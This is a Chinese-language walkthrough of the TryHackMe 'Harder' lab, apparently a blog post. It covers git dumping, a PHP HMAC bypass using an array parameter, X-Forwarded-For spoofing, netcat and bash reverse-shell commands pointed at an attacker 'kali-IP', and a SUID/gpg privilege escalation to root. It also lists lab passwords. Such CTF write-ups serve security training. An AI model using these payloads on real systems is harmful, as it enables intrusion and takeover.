TryHackMe | Harder wp

本篇文章講述怎么做https://tryhackme.com/room/harder

:由于免費賬號只有1小時使用時間,所以下面顯示的VM的IP各不相同,但不影響理解。

1、掃描端口,發(fā)現(xiàn)開啟了22、80端口

nmap -sV -sC -oN nmap/initial 10.10.144.199

搜索nginx 1.18.0有沒有可利用的漏洞,發(fā)現(xiàn)沒有。

searchsploit nginx

2、 瀏覽器打開http://10.10.144.199,沒有發(fā)現(xiàn)有用信息,僅顯示一個404頁面。

3、 執(zhí)行g(shù)obuster搜索子目錄

gobuster dir -u http://10.10.144.199/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -t 50 --exclude-length 1985

找到phpinfo.php。

4、開啟burpsuite,給http://10.10.247.61發(fā)包,發(fā)現(xiàn)響應(yīng)中有domain=pwd.harder.local

編輯/etc/hosts,添加10.10.247.61 pwd.harder.local

讓pws.harder.local可訪問。隨便試試admin admin,無法登錄。

5、再次開啟gobuster,搜索http://pwd.harder.local下的目錄。發(fā)現(xiàn)了.git/HEAD等。

gobuster dir -u http://pwd.harder.local-w/usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -t 50

6、利用工具gitdumper.sh下載git文件。git checkout將文件遷出。

wget https://raw.githubusercontent.com/internetwache/GitTools/master/Dumper/gitdumper.sh

./gitdumper.sh http://pwd.harder.local/.git/ git

git checkout *

發(fā)現(xiàn)4個文件,分別為.gitignore、auth.php、hmac.php、index.php。

7、查看關(guān)鍵文件hmac.php的邏輯:首先檢查是否有h、host輸入?yún)?shù)。如果有,則獲取n輸入?yún)?shù),將其跟secret進(jìn)行hmac計算,將計算出來的值再與host輸入?yún)?shù)做hmac計算,要求算出的值與h輸入?yún)?shù)相同。

google搜索:hmac php bypass,這個網(wǎng)頁詳細(xì)講述了php跳過hmac的原理

https://www.securify.nl/blog/spot-the-bug-challenge-2018-warm-up/

php跳過hmac的技巧:

只要n為數(shù)組,則secret會返回false

$secret = hash_hmac('sha256', $_GET['n'], $secret);

寫一個test.php測試,$hmac返回false

<?php

$hmac =hash_hmac('sha256', Array(), "SecretKey");

echo$hmac = = false;

?>

執(zhí)行test.php,返回1。

假設(shè)host=google.com,直接算出hmac并將其賦給h即可滿足條件。

test2.php

<?php

$hm =hash_hmac('sha256', 'google.com', false);

echo $hm

?>

17343667cb7056b9d7df53076482d30f8a7ef19ec6c1fe50438af4339891f030

綜上所述,構(gòu)造如下URL可滿足hmac.php

/index.php?h=17343667cb7056b9d7df53076482d30f8a7ef19ec6c1fe50438af4339891f030&host=google.com&n[]=

將響應(yīng)頁面展示在瀏覽器中

至此,獲得了evs的密碼:9FRe8VUuhFhd3GyAtjxWn0e9RfSGv7xm。

8、修改/etc/hosts以便訪問shell.harder.local

輸入evs? 9FRe8VUuhFhd3GyAtjxWn0e9RfSGv7xm

顯示僅為10.10.10.x范圍內(nèi)的IP地址才能訪問。

在頭部添加X-Forwarded-For,并設(shè)置數(shù)值為任意10.10.10.0/24,就能顯示頁面。這是個命令執(zhí)行。

9、利用命令執(zhí)行讓kali獲得反向連接。

將請求方法由GET改為POST,并提交cmd=whoami,頁面顯示www。

我們嘗試將cmd改為反向shell。此處的IP需要改為Kali Linux的。

cmd=bash -i >& /dev/tcp/kali-IP/10000 0>&1

將其進(jìn)行URL編碼(快捷鍵Ctrl + u),僅將空格變?yōu)?。

用reverse shell不行,kali開啟10000端口的監(jiān)聽,收不到連接。


用nc,kali收到連接信息,但是被kill了。

換成另一個辦法:

在burpsuite中將cmd設(shè)置為cmd=nc+kali-IP+10000+-e+/bin/sh。

kali開啟端口10000,可以收到連接。

10、反向連接上執(zhí)行l(wèi)inpeas.sh,檢查受害VM有什么可利用的弱點?

wget?https://github.com/carlospolop/PEASS-ng/releases/download/20230418-edede4b8/linpeas.sh

kali端執(zhí)行nc,監(jiān)聽5555端口,并將linpeas.sh傳入。

nc -lvp 5555 < linpeas.sh

在受攻擊端執(zhí)行如下命令,相當(dāng)于下載了linpeas.sh腳本。

/usr/bin/nc kali-IP 5555 > /tmp/linpeas.sh

執(zhí)行l(wèi)inpeas.sh發(fā)現(xiàn)了開啟的端口,系統(tǒng)有3個用戶,可疑的腳本/usr/local/bin/run-crypted.sh、可獲取SUID權(quán)限的命令/usr/local/bin/execute-crypted。疑似備份的腳本/etc/periodic/15min/evs-backup.sh。

系統(tǒng)中有evs用戶。嘗試ssh登錄,提示“Could not resolve hostname harder.local”??梢栽?etc/hosts添加一行IP? harder.local解決。

ssh evs@harder.local

粘貼之前獲得evs賬戶密碼9FRe8VUuhFhd3GyAtjxWn0e9RfSGv7xm。提示Permission denied。說明密碼錯誤。輸入從evs-backup.sh中獲得evs的ssh密碼:U6j1brxGqbsUA$pMuIodnb$SZB4$bw14,可以登錄。

查看當(dāng)前目錄下的user.txt,獲取user Flag

打開/etc/periodic/15min/evs-backup.sh,發(fā)現(xiàn)了evs的ssh密碼:U6j1brxGqbsUA$pMuIodnb$SZB4$bw14。

查看run-crypted.sh內(nèi)容:生成要執(zhí)行的命令,然后execute-crypted運行g(shù)pg用root@harder.local密鑰加密的命令。

execute-crypted具有SUID權(quán)限。在執(zhí)行過程中,調(diào)用者會暫時獲得該文件的所有者權(quán)限。execute-crypted屬主為root,當(dāng)我們通過非root用戶登錄時,由于execute-crypted設(shè)置了SUID權(quán)限,我們可在非root用戶下運行該二進(jìn)制可執(zhí)行文件,在執(zhí)行文件時,該進(jìn)程的權(quán)限將為root權(quán)限。利用此特性,我們可通過SUID進(jìn)行提權(quán)。

根據(jù)前面的run-crypted.sh,搜索root@harder.local密鑰。

find / -name "root@harder*" 2>/dev/null

將root的公鑰導(dǎo)入gpg,在當(dāng)前目錄的.gnupg下生成trustdb.gpg、pubring.kbx。

gpg --import /var/backup/root@harder.local.pub

nc監(jiān)聽4445端口,執(zhí)行cmd.gpg后將出現(xiàn)連接。此時發(fā)現(xiàn)uid變成了root。查看/root/root.txt,獲得root Flag。

生成一條反向連接本機(jī)的命令cmd,給它添加執(zhí)行權(quán)限,用root@harder.local的公鑰加密cmd并執(zhí)行。

echo "nc kali-IP 4445 -e /bin/sh" > cmd

chmod +x cmd

gpg -r root@harder.local -e cmd? //將生成cmd.gpg文件

/usr/local/bin/execute-crypted cmd.gpg? //執(zhí)行cmd.gpg

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容